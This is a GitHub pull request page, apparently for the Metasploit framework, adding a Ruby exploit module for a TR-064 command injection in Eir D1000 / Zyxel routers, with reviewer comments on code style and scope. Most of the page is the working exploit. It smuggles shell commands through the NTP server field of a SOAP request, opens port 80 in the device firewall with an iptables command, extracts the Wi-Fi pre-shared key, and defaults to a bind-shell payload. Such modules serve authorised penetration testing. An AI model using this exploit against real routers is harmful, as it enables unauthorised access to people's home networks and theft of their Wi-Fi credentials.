-
Notifications
You must be signed in to change notification settings - Fork 13.8k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add TR-064 command injection exploit (Zyxel / Eir D1000 Wireless Router) #7626
Changes from 1 commit
d691b86
f55f578
75bcf82
8de1798
4d6b2df
d55d209
851aae3
9952c0a
b7904fe
57d156a
08b9684
657d529
b75fbd4
43cd788
ddac560
9e4e9ae
d549c27
a4f681a
94d76cf
b0e7907
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,146 @@ | ||
require 'msf/core' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Eir D1000 Modem CWMP Exploit POC', | ||
'Description' => %q{ | ||
This exploit drops the firewall to allow access to the web administration interface on port 80 and | ||
it also retrieves the wifi password. The default login password to the web interface is the default wifi | ||
password. This exploit was tested on firmware versions up to 2.00(AADU.5)_20150909. | ||
}, | ||
'Author' => | ||
[ | ||
'Kenzo', # Vulnerability discovery and Metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'DisclosureDate' => 'Nov 07 2016', | ||
'Privileged' => true, | ||
'DefaultOptions' => | ||
{ | ||
'PAYLOAD' => 'linux/mipsbe/shell_bind_tcp' | ||
}, | ||
'Targets' => | ||
[ | ||
[ 'MIPS Little Endian', | ||
{ | ||
'Platform' => 'linux', | ||
'Arch' => ARCH_MIPSLE | ||
} | ||
], | ||
[ 'MIPS Big Endian', | ||
{ | ||
'Platform' => 'linux', | ||
'Arch' => ARCH_MIPSBE | ||
} | ||
], | ||
], | ||
'DefaultTarget' => 1 | ||
)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(7547), # CWMP port | ||
], self.class) | ||
|
||
@data_cmd_template = "<?xml version=\"1.0\"?>" | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This @data_cmd_template global needs to go. |
||
@data_cmd_template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" | ||
@data_cmd_template << " <SOAP-ENV:Body>" | ||
@data_cmd_template << " <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">" | ||
@data_cmd_template << " <NewNTPServer1>%s</NewNTPServer1>" | ||
@data_cmd_template << " <NewNTPServer2></NewNTPServer2>" | ||
@data_cmd_template << " <NewNTPServer3></NewNTPServer3>" | ||
@data_cmd_template << " <NewNTPServer4></NewNTPServer4>" | ||
@data_cmd_template << " <NewNTPServer5></NewNTPServer5>" | ||
@data_cmd_template << " </u:SetNTPServers>" | ||
@data_cmd_template << " </SOAP-ENV:Body>" | ||
@data_cmd_template << "</SOAP-ENV:Envelope>" | ||
end | ||
|
||
def check | ||
begin | ||
res = send_request_cgi({ | ||
'uri' => '/globe' | ||
}) | ||
rescue ::Rex::ConnectionError | ||
vprint_error("A connection error has occured") | ||
return Exploit::CheckCode::Unknown | ||
end | ||
|
||
if res and res.code == 404 and res.body =~ /home_wan.htm/ | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Escape the dot. |
||
return Exploit::CheckCode::Appears | ||
end | ||
|
||
return Exploit::CheckCode::Safe | ||
end | ||
|
||
def exploit | ||
print_status("Trying to access the device...") | ||
|
||
unless check == Exploit::CheckCode::Appears | ||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") | ||
end | ||
|
||
print_status("Exploiting...") | ||
print_status("Dropping firewall on port 80...") | ||
execute_command("`iptables -I INPUT -p tcp --dport 80 -j ACCEPT`","") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Should we revert this after exploit completion? I'd hate to exploit a client and not realize/forget to fix this when done There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. So, this execute_command call here is copypasta from I would rather just do the whole meterpreter thing here, rather than only have one specific, unchangable command. |
||
key = get_wifi_key() | ||
print_status("WiFi key is #{key}") | ||
execute_command("tick.eircom.net","") | ||
end | ||
|
||
def execute_command(cmd, opts) | ||
uri = '/UD/act?1' | ||
soapaction = "urn:dslforum-org:service:Time:1#SetNTPServers" | ||
data_cmd = @data_cmd_template % "#{cmd}" | ||
begin | ||
res = send_request_cgi({ | ||
'uri' => uri, | ||
'ctype' => "text/xml", | ||
'method' => 'POST', | ||
'headers' => { | ||
'SOAPAction' => soapaction, | ||
}, | ||
'data' => data_cmd | ||
}) | ||
return res | ||
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") | ||
end | ||
end | ||
|
||
def get_wifi_key() | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. While kinda fun extraction, I'm unconvinced this whole get_wifi_key() thing is even necessary. Ideally, you already get a shell on the device, I expect you could extract the key locally. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Could be converted to a post info grab There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Yeah feels like a separate module. |
||
print_status("Getting the wifi key...") | ||
uri = '/UD/act?1' | ||
soapaction = "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys" | ||
data_cmd_template = "<?xml version=\"1.0\"?>" | ||
data_cmd_template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" | ||
data_cmd_template << " <SOAP-ENV:Body>" | ||
data_cmd_template << " <u:GetSecurityKeys xmlns:u=\"urn:dslforum-org:service:WLANConfiguration:1\">" | ||
data_cmd_template << " </u:GetSecurityKeys>" | ||
data_cmd_template << " </SOAP-ENV:Body>" | ||
data_cmd_template << "</SOAP-ENV:Envelope>" | ||
data_cmd= data_cmd_template | ||
|
||
begin | ||
res = send_request_cgi({ | ||
'uri' => uri, | ||
'ctype' => "text/xml", | ||
'method' => 'POST', | ||
'headers' => { | ||
'SOAPAction' => soapaction, | ||
}, | ||
'data' => data_cmd | ||
}) | ||
|
||
/NewPreSharedKey>(?<key>.*)<\/NewPreSharedKey/ =~ res.body | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This compare reads funny. |
||
return key | ||
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") | ||
end | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is PoC needed in name? I don't see a payload encoded in here, but may be I missed it (mobile git sucks)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Absolutely not; easy order of business is to retitle, re-describe, and re-reference the thing.